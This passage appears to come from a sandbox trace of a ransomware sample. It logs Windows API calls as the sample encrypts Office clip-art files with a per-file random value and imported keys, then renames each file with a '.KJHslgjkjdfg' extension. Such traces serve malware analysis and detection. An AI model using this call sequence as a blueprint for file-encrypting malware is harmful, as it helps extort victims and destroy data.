pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.766] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.768] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.768] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.768] GetProcessHeap () returned 0x2ef0000 [0196.768] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.768] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.768] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.769] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.769] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x738, lpOverlapped=0x0) returned 1 [0196.769] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x740, dwBufLen=0x740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x740) returned 1 [0196.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x740, lpOverlapped=0x0) returned 1 [0196.770] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.770] SetEndOfFile (hFile=0x130) returned 1 [0196.772] GetProcessHeap () returned 0x2ef0000 [0196.772] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.772] GetProcessHeap () returned 0x2ef0000 [0196.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.kjhslgjkjdfg")) returned 1 [0196.774] CloseHandle (hObject=0x130) returned 1 [0196.774] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0196.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.775] GetProcessHeap () returned 0x2ef0000 [0196.775] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.775] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.775] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.777] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.778] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.778] GetProcessHeap () returned 0x2ef0000 [0196.778] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.778] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.778] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.778] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.778] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.778] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.778] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.778] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.778] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.778] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.778] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2bb6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2bb6, lpOverlapped=0x0) returned 1 [0196.779] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2bc0, dwBufLen=0x2bc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2bc0) returned 1 [0196.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.780] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2bc0, lpOverlapped=0x0) returned 1 [0196.780] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.780] SetEndOfFile (hFile=0x130) returned 1 [0196.783] GetProcessHeap () returned 0x2ef0000 [0196.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.783] GetProcessHeap () returned 0x2ef0000 [0196.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.kjhslgjkjdfg")) returned 1 [0196.784] CloseHandle (hObject=0x130) returned 1 [0196.784] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0196.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.786] GetProcessHeap () returned 0x2ef0000 [0196.786] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.786] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.786] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.788] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.788] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.788] GetProcessHeap () returned 0x2ef0000 [0196.788] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.788] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.788] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.788] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.788] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.789] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.789] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.789] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.789] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.789] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.789] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x764, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x764, lpOverlapped=0x0) returned 1 [0196.789] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x770, dwBufLen=0x770 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x770) returned 1 [0196.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.789] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x770, lpOverlapped=0x0) returned 1 [0196.789] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.789] SetEndOfFile (hFile=0x130) returned 1 [0196.799] GetProcessHeap () returned 0x2ef0000 [0196.799] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.799] GetProcessHeap () returned 0x2ef0000 [0196.799] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.kjhslgjkjdfg")) returned 1 [0196.800] CloseHandle (hObject=0x130) returned 1 [0196.800] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0196.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.802] GetProcessHeap () returned 0x2ef0000 [0196.802] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.802] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.802] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.804] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.804] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.804] GetProcessHeap () returned 0x2ef0000 [0196.804] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.804] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.804] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.804] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.805] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.805] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.805] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.805] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.805] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.805] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.805] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2b8, lpOverlapped=0x0) returned 1 [0196.805] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c0) returned 1 [0196.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.805] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2c0, lpOverlapped=0x0) returned 1 [0196.805] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.806] SetEndOfFile (hFile=0x130) returned 1 [0196.808] GetProcessHeap () returned 0x2ef0000 [0196.808] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.808] GetProcessHeap () returned 0x2ef0000 [0196.808] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.kjhslgjkjdfg")) returned 1 [0196.810] CloseHandle (hObject=0x130) returned 1 [0196.810] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0196.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.810] GetProcessHeap () returned 0x2ef0000 [0196.810] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.811] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.811] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.813] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.813] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.813] GetProcessHeap () returned 0x2ef0000 [0196.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.813] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, 